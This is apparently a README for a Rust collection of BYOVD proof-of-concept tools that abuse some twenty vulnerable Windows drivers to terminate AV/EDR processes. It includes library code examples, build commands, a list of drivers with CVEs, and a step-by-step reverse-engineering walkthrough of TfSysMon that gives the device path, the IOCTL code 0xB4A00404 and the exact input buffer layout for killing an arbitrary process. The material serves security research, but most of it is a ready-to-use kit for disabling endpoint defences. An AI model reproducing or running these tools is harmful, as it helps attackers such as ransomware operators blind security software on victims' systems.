
BYOVD research use cases featuring vulnerable driver discovery and reverse engineering methodology. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501).
BYOVD 是一个 PoC 集合,演示了如何利用有漏洞的驱动程序来禁用 AV/EDR 解决方案。
该集合包括未记录的驱动程序以及已在 LOLDDrivers 或 微软推荐的驱动程序阻止规则 中覆盖的驱动程序。
自从首次发现以来,TfSysMon 驱动程序已被添加到 LOLDrivers,并被勒索软件组织使用 EDRKillShifter 工具滥用,据 Sophos 和 ESET 报道。
BYOVD 技术 最近在进攻性安全领域变得流行,特别是随着 SpyBoy 的 Terminator(售价 3000 美元)和 ZeroMemoryEx Blackout 项目的发布。这些工具利用有漏洞的驱动程序来禁用 AV/EDR 代理,通过减少检测来促进进一步的攻击。
该仓库包含多个为教育目的开发的 PoC,帮助研究人员理解这些驱动程序如何被滥用来终止进程。
该项目组织为一个 Rust Cargo 工作区。大多数 PoC 共享一个公共库 (byovd-lib),该库处理样板代码:驱动程序服务生命周期、IOCTL 分发、进程监控、权限调整和清理。每个 killer 都是一个精简的二进制文件(约 50-100 行),仅定义其驱动程序特定的配置。K7Terminator、Astra64-RW 和 Xhunter1-Killer 是独立的——它们有自己的 [workspace] 声明,直接从自己的目录构建,而不是通过根工作区。```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-RW/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, kernel R/W demo (Shadow SSDT hijack -> SYSTEM)
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
每个 `*-Killer/` 目录包含自己的 `Cargo.toml`、`src/main.rs`(`DriverConfig` impl + CLI)、`README.md`(驱动哈希 + 用法)以及二进制文件在运行时加载的匹配 `.sys` 文件。
## 🔧 构建
**前提条件:** Rust 工具链以及带有 Windows SDK 的 Visual Studio Build Tools。```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
二进制文件会输出到 target/release/。运行前,请将对应的 .sys 驱动程序文件复制到可执行文件所在目录。
byovd-lib 是所有 PoC(K7Terminator 除外)所基于的共享库。它公开了两个互补的 API——一个高级声明式 API,用于标准的“安装驱动程序、见则杀之、清理”流程;以及一个低级命令式 API,适用于需要自定义流程的杀毒工具(附加到已加载的驱动程序、扩展到多个 PID、结构化 IOCTL 缓冲区、自定义重试逻辑等)。两者可以在同一个二进制文件中混合使用。
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### High-level API: `DriverConfig` trait + `run()`
这是捆绑的 killers 所使用的。实现该 trait,调用 `byovd_lib::run()`,即可完成。```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run() 执行:preflight_check → 安装服务(SERVICE_DEMAND_START)→ StartService → 即时终止监控(Ctrl+C 退出)→ 停止并删除服务。
可选 trait 覆盖及其默认值:
当 trait 流程不适用时——例如驱动已加载,你只想触发一个 IOCTL,你需要自定义重试策略,IOCTL 接收结构化输入而非仅 PID,或者你想在所有匹配的 PID 上发散操作——请直接组合底层组件。
驱动生命周期 -- ByovdDriver:```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;
**IOCTL 分发** -- `DeviceHandle` 公开了五种类型化的形状:
| 方法 | 使用场景 |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | 同时有输入和输出缓冲区,类型不同 |
| `ioctl_inout<T>(code, &mut data)` | 同一缓冲区用于输入和输出 |
| `ioctl_in<I>(code, &input)` | 仅有输入,无输出缓冲区 |
| `ioctl_in_unchecked<I>(code, &input)` | 仅有输入,忽略失败(每次调用时替代 `ignore_ioctl_error` 的选项) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | 原始指针逃生口 |
当 IOCTL 接受一个结构体(例如 `{ pid: u32, padding: [u8; 20] }`)时,类型化形式省去了手动编写 `to_ne_bytes()` / `extend_from_slice()` 的样板代码。
**进程查找** -- `find_pid_by_name(name)`(第一个匹配项)和 `find_all_pids_by_name(name)`(所有匹配项,排除 ≤ 4 的系统 PID)。
**自定义监控循环** -- `run_monitor_loop(name, interval, |pid| ...)` 接受一个闭包,你可以对每个匹配项执行任意操作(多个 IOCTL、结构化日志、跨 PID 扇出、出错时重试)。
**权限** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` 用于需要显式令牌权限的驱动程序。如果进程未以 `S-1-5-18` 运行,`ensure_running_as_local_system()` 会返回错误。
**句柄包装** -- `WinHandle`(自动 `CloseHandle`)和 `ScHandle`(自动 `CloseServiceHandle`)均可 `Send + Sync`,并且可以在线程间移动。
### 示例:附加到已加载的驱动程序,无需服务生命周期
这正是 `UnknownKiller --attach` 所做的——完全跳过 SCM,只需打开设备并一次性触发 IOCTL:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
FileHandle / ServiceHandle still resolve to WinHandle / ScHandle, and get_pid_by_name is kept as an alias for find_pid_by_name, so older code referencing those names keeps compiling.
Below are the drivers and their respective PoCs available in this repository:
ardrv.sys from OPSWAT AppRemover.astra64.sys from EnTech Taiwan (Astra32 / TVicHW) -- standalone kernel R/W PoC.BdApiUtil64.sys from Baidu AntiVirus (CVE-2024-51324).CcProtect.sys from CnCrypt.EnPortv.sys from Guidance EnCase.This section demonstrates the complete A-Z reverse engineering methodology using the TfSysMon driver as a practical example. This process applies to any x64 Windows kernel driver analysis.
Check driver imports before starting reverse engineering.
A basic process killer driver requires 2 things:
a way to get a handle on a process (for instance ZwOpenProcess or NtOpenProcess)
a way to terminate the process (for instance ZwTerminateProcess or NtTerminateProcess)
Check if a driver imports both function types. If a driver has in its imported functions Nt/ZwOpenProcess AND Nt/ZwTerminateProcess then it's a potential process killer driver candidate.
Only after confirming these imports should you proceed to detailed reverse engineering in IDA Pro.
Required Tools:
Every Windows driver starts with DriverEntry - find this function first:
In TfSysMon, the DriverEntry looks like this:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }
**分析说明:**
- 代码使用 `BugCheckParameter2` 和 `BugCheckParameter3` 执行一些初始化
- 真正的驱动程序初始化发生在 `sub_17484` 中
- 跟踪对 `sub_17484(DriverObject)` 的调用——这是实际驱动程序设置发生的地方
### 📍 步骤2:跟踪驱动程序初始化链
**导航到初始化函数(`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
// ... rest of function ...
}
关键逆向工程发现:
\\Device\\TfSysMon(内核空间)\\DosDevices\\TfSysMon(用户模式可访问为 \\.\\TfSysMon)0x22 = FILE_DEVICE_UNKNOWNsub_17694导航到分发函数(sub_17694):```c
__int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int v4; // ebx
if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }
**逆向工程分析:**
- 设备验证首先发生 (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` 决定操作类型
- **关键点**:MajorFunction 值 14 (0xE) 和 15 (0xF) 调用 `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL 处理
- 漏洞代码路径为:**IOCTL 请求 → sub_177D8**
### 📍 第 4 步:逆向工程 IOCTL 处理程序
**导航到 IOCTL 处理函数 (`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
// ... variable declarations ...
v7 = *(_DWORD *)(a2 + 24); // Extract IOCTL code
MasterIrp = Irp->AssociatedIrp.MasterIrp; // Input buffer
v9 = *(unsigned int *)(a2 + 16); // InputBufferLength
v10 = *(_DWORD *)(a2 + 8); // OutputBufferLength
if ( v7 > 0xB4A00070 )
{
if ( v7 > 0xB4A000F8 )
{
if ( v7 != -1264582404 )
{
switch ( v7 )
{
// ... various cases ...
case 0xB4A00404: // VULNERABLE IOCTL CODE
if ( (unsigned int)v9 >= 0x18 )
return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
break;
// ... more cases ...
}
}
}
}
// ... rest of function
}
关键逆向工程发现:
v7 = *(_DWORD *)(a2 + 24) 从 IO_STACK_LOCATION 获取 IOCTL 码Irp->AssociatedIrp.MasterIrp 包含用户数据v9 = *(unsigned int *)(a2 + 16) 获取输入缓冲区大小0xB4A00404 导致 sub_1837C导航至进程终止函数(sub_1837C):```c
__int64 __fastcall sub_1837C(__int64 a1)
{
unsigned int v2; // ebx
void *v3; // rax
unsigned int v4; // edi
NTSTATUS v6; // eax
// ... variable declarations ...
v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }
**功能分析:**
- **输入结构**:通过驱动程序代码分析,我们确定了缓冲区布局,其中 PID 位于偏移量 +4 处
- **输入解析**:`v3 = *(void **)(a1 + 4)` 从输入缓冲区的偏移量 +4 处提取 PID
- **进程打开**:使用最小访问权限 (1u = PROCESS_TERMINATE) 调用 `ZwOpenProcess`
- **无安全校验**:未验证调用者权限或目标进程保护
- **进程终止**:直接调用 `ZwTerminateProcess`
- **重试逻辑**:对打开和终止操作均进行多次尝试
- **任意进程**:可终止 SYSTEM 账户可访问的任何进程
### 📍 第 6 步:映射完整攻击链
**完整逆向工程流程:**
1. **入口点**:用户在 `\\.\\TfSysMon` 上调用 `DeviceIoControl`
2. **IRP 创建**:I/O 管理器创建 MajorFunction = 14 的 IRP
3. **分发**:`sub_17694` 将请求路由至 `sub_177D8` 进行 IOCTL 处理
4. **IOCTL 校验**:`sub_177D8` 验证 IOCTL 代码 `0xB4A00404` 及缓冲区大小 ≥ 24 字节
5. **执行**:使用用户输入缓冲区调用 `sub_1837C`
6. **终止**:`sub_1837C` 从偏移量 +4 处提取 PID 并通过 `ZwTerminateProcess` 终止进程
**输入缓冲区结构(来自驱动程序逆向工程):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check
该方法论演示如何系统性地逆向任何 Windows x64 内核驱动程序,通过追踪从用户态通信到危险内核操作的执行路径,以识别类似的漏洞。
如果 BYOVD 帮助了您的红队行动,可以考虑请我喝杯啤酒:
BYOVD 项目仅用于教育和研究目的。作者对任何误用或由这些程序造成的损害概不负责。在任何系统上使用这些工具之前,请务必获得明确的许可。
| 方法 | 默认值 | 用途 |
|---|
device_access() | SERVICE_ALL_ACCESS | CreateFileW 访问标志 |
skip_unload() | false | 跳过驱动清理(例如卸载时蓝屏的驱动) |
ignore_ioctl_error() | false | 将 IOCTL 失败视为成功(例如 NSecKrnl 在成功时报告错误) |
ioctl_output_size() | 0 | 预期的输出缓冲区大小(字节) |
preflight_check() | Ok(()) | 启动前验证(例如 LocalSystem 检查) |
GameDriverX64.sysFedeen GamesGoFlyDrv.sys from Golink.HWAudioOs2Ec.sys from Huawei.K7RKScan.sys from K7 Computing (CVE-2025-52915, CVE-2025-1055) -- Full write-up.ksapi64.sys / ksapi64_del.sys from Kingsoft Corporation.MonProcessEX.sys from HONOR.NSecKrnl.sys from NSEC (ValleyRAT BYOVD reproduction).PCTcore64.sys from PC Tools (CVE-2026-8501).PoisonX.sys from Microsoft (@j3h4ck reproduction)STProcessMonitor.sys from Safetica (CVE-2025-70795, supports v11.11.4 and v11.26.18).sysmon.sys from ThreatFire System Monitor.unknown.sys from an unattributed vendor (driver origin TBD).viragt64.sys from Tg Soft.wsftprm.sys from Topaz Antifraud (CVE-2023-52271).xhunter1.sys from Wellbia (XIGNCODE3, CVE-2026-3609).xkpsm.sys from JiranJikyosoft X-Keeper.